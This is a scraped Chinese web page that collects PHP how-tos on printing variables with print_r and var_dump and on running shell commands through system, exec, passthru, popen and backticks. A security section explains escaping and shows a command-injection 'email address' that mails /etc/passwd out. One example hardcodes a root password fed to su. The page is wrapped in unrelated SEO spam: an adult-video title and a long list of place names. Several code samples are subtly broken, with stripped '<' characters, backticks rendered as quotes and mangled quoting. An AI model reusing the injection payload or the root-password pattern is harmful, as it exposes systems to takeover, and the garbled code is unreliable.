成人午夜视频全免费观看高清-秋霞福利视频一区二区三区-国产精品久久久久电影小说-亚洲不卡区三一区三区一区

php后臺如何打印數(shù)據(jù) php如何打印表格

2.php如何打印一個對象或數(shù)組到桌面上

php打印一個對象或數(shù)組到到桌面上:

公司主營業(yè)務(wù):成都網(wǎng)站設(shè)計(jì)、成都做網(wǎng)站、移動網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)建站是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團(tuán)隊(duì)有機(jī)會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)建站推出天元免費(fèi)做網(wǎng)站回饋大家。

1、打印數(shù)組使用print_r ( $array/$var )

print 是打印的意思,而r則取自Array的單詞,那么該函數(shù)的功能就是打印數(shù)組內(nèi)容,它既可以打印數(shù)組內(nèi)容,也可以打印普通的變量。

print_r ($_REQUEST) ;

print_r ($_GET) ; /* 打印使用GET方法傳遞的表單內(nèi)容*/

print_r($_POST) ; /* 打印使用表單POST方法傳遞過的數(shù)組內(nèi)容*/

2、打印對象使用var_dump ($object/$array/$var)

var 代表變量(Variable),變量包括對象、數(shù)組以及標(biāo)量變量,dump有倒出之意,加在一塊,就是將變量或?qū)ο蟮膬?nèi)容全部輸出出來。

var_dump($DB) ; /*打印$DB數(shù)據(jù)庫連接對象的內(nèi)容*/

var_dump($fileHandle) ; /*打印文件句柄對象的內(nèi)容*/

var_dump($Smarty) ; /*打印Smarty模板對象*/

在php命令行業(yè)中怎樣打印內(nèi)容

在PHP中調(diào)用外部命令,可以用如下三種方法來實(shí)現(xiàn):

1) 用PHP提供的專門函數(shù)

PHP提供共了3個專門的執(zhí)行外部命令的函數(shù):system(),exec(),passthru()。

system()

原型:string

system (string command [, int return_var])

system()函數(shù)很其它語言中的差不多,它執(zhí)行給定的命令,輸出和返回結(jié)果。第二個參數(shù)是可選的,用來得到命令執(zhí)行后的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/webalizer/webalizer");

?

exec()

原型:string exec (string command [, string array [, int return_var]])

exec

()函數(shù)與system()類似,也執(zhí)行給定的命令,但不輸出結(jié)果,而是返回結(jié)果的最后一行。雖然它只返回命令結(jié)果的最后一行,但用第二個參數(shù)array

可以得到完整的結(jié)果,方法是把結(jié)果逐行追加到array的結(jié)尾處。所以如果array不是空的,在調(diào)用之前最好用unset()最它清掉。只有指定了第二

個參數(shù)時(shí),才可以用第三個參數(shù),用來取得命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?

passthru()

原型:void passthru (string command [, int

return_var])

passthru

()只調(diào)用命令,不返回任何結(jié)果,但把命令的運(yùn)行結(jié)果原樣地直接輸出到標(biāo)準(zhǔn)輸出設(shè)備上。所以passthru()函數(shù)經(jīng)常用來調(diào)用象pbmplus

(Unix下的一個處理圖片的工具,輸出二進(jìn)制的原始圖片的流)這樣的程序。同樣它也可以得到命令執(zhí)行的狀態(tài)碼。

例子:

復(fù)制代碼

代碼如下:

?php

header("Content-type:

image/gif");

passthru("./ppmtogif hunte.ppm");

?

2)

用popen()函數(shù)打開進(jìn)程

上面的方法只能簡單地執(zhí)行命令,卻不能與命令交互。但有些時(shí)候必須向命令輸入一些東西,如在增加Linux的系統(tǒng)用戶時(shí),要調(diào)用su來把當(dāng)前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen

()函數(shù)打開一個進(jìn)程管道來執(zhí)行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那么就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一

的操作模式,要么寫,要么讀;從PHP4開始,可以同時(shí)讀和寫了。除非這個句柄是以一種模式(讀或?qū)懀┐蜷_的,否則必須調(diào)用pclose()函數(shù)來關(guān)閉 它。

例子1:

復(fù)制代碼

代碼如下:

?php

$fp=popen("/bin/ls -l", "r");

?

例子2:

復(fù)制代碼

代碼如下:

?php

/* PHP中如何增加一個系統(tǒng)用戶

下面是一段例程,增加一個名字為james的用戶,

root密碼是 verygood。僅供參考

*/

$sucommand =

"su --login root --command";

$useradd = "useradd ";

$rootpasswd =

"verygood";

$user = "james";

$user_add = sprintf("%s "%s

%s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?

3)

用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執(zhí)行的命令括起來作為一個表達(dá)式,這個表達(dá)式的值就是命令執(zhí)行的結(jié)果。如:

復(fù)制代碼

代碼如下:

?php

$res='/bin/ls -l';

echo '

'.$res.'

';

?

這個腳本的輸出就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考慮些什么看

要考慮兩個問題:安全性和超時(shí)。

看安全性。比如,你有一家小型的網(wǎng)上商店,所以可以出售的產(chǎn)品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地

址,然后把這個產(chǎn)品列表發(fā)給他們。假設(shè)你沒有使用PHP的mail()函數(shù)(或者從未聽說過),你就調(diào)用Linux/Unix系統(tǒng)的mail程序來發(fā)送這

個文件。程序就象這樣:

復(fù)制代碼

代碼如下:

?php

system("mail $to

products.txt");

echo "我們的產(chǎn)品目錄已經(jīng)發(fā)送到你的信箱:$to";

?

用這段代碼,一般的用戶不會產(chǎn)生什么危險(xiǎn),但實(shí)際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail someone@domain.com /etc/passwd ;'

那么這條命令最終變成:

'mail --bla ; mail someone@domain.com /etc/passwd ; products.txt'

我相信,無論哪個網(wǎng)絡(luò)管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數(shù):EscapeShellCmd()和EscapeShellArg()。函數(shù)EscapeShellCmd把一個字符串

中所有可能瞞過Shell而去執(zhí)行另外一個命令的字符轉(zhuǎn)義。這些字符在Shell中是有特殊含義的,象分號(),重定向()和從文件讀入

()等。函數(shù)EscapeShellArg是用來處理命令的參數(shù)的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉(zhuǎn)義,這樣這個字符串

就可以安全地作為命令的參數(shù)。

再來看看超時(shí)問題。如果要執(zhí)行的命令要花費(fèi)很長的時(shí)間,那么應(yīng)該把這個命令放到系統(tǒng)的后臺去運(yùn)

行。但在默認(rèn)情況下,象system()等函數(shù)要等到這個命令運(yùn)行完才返回(實(shí)際上是要等命令的輸出結(jié)果),這肯定會引起PHP腳本的超時(shí)。解決的辦法是

把命令的輸出重定向到另外一個文件或流中,如:

復(fù)制代碼

代碼如下:

?php

system("/usr/local/bin/order_proc /tmp/null ");

?

php 怎么實(shí)現(xiàn)打印 功能啊 直接打印html中的table 而且為word格式 table里的內(nèi)容是通過數(shù)據(jù)庫獲取出來的

你的打印是不是編程語言里面說的打印,例如basic語言的print語句,如果是的話,在PHP里面使用echo語句打印內(nèi)容,例如:

echo 'table border=1trtd1td2/table';

如果你是希望程序運(yùn)行后在打印機(jī)上打印輸出內(nèi)容,那可能比較復(fù)雜,而且不是PHP的強(qiáng)項(xiàng),需要編寫許多查找打印機(jī)的代碼,簡單的做法是把數(shù)據(jù)送我特殊設(shè)備,可以使用file_put_contents函數(shù),例如:

file_put_contents('PRN:', 'print test');

新聞標(biāo)題:php后臺如何打印數(shù)據(jù) php如何打印表格
分享路徑:http://jinyejixie.com/article22/dddppjc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站制作、網(wǎng)頁設(shè)計(jì)公司、做網(wǎng)站、服務(wù)器托管、響應(yīng)式網(wǎng)站網(wǎng)站維護(hù)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)
高邮市| 股票| 垦利县| 克拉玛依市| 靖西县| 横山县| 阿拉尔市| 横山县| 南乐县| 东辽县| 靖远县| 简阳市| 定州市| 都江堰市| 林州市| 阜新市| 北碚区| 陵川县| 深圳市| 高台县| 巴彦淖尔市| 石渠县| 志丹县| 佛坪县| 商南县| 新源县| 广河县| 万全县| 漾濞| 桓仁| 宁陕县| 广丰县| 乌拉特后旗| 锡林郭勒盟| 长汀县| 伽师县| 东兰县| 额尔古纳市| 海兴县| 平南县| 乐亭县|